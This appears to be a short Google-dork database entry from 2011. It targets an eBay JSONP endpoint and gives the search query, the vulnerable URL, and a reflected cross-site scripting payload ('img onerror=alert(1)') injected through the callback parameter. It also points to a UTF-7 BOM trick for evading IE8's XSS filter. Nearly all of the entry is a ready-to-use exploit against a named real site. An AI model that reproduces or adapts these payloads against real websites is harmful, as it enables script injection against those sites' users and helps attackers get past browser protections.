site:ebay.com inurl:callback

Google dork Description: site:ebay.com inurl:callback
Google search: site:ebay.com inurl:callback
Submited: 2011-02-11
Returns:
http://sea.ebay.com/jplocal/campany/getcampnum.php?callback=?

then:
http://sea.ebay.com/jplocal/campany/getcampnum.php?callback=?xxxx%3Cimg%20src=1%20onerror=alert(1)%3E

Can also use: http://seclists.org/fulldisclosure/2011/Feb/199 XSS through UTF7-BOM string injection to bypass IE8 XSS Filters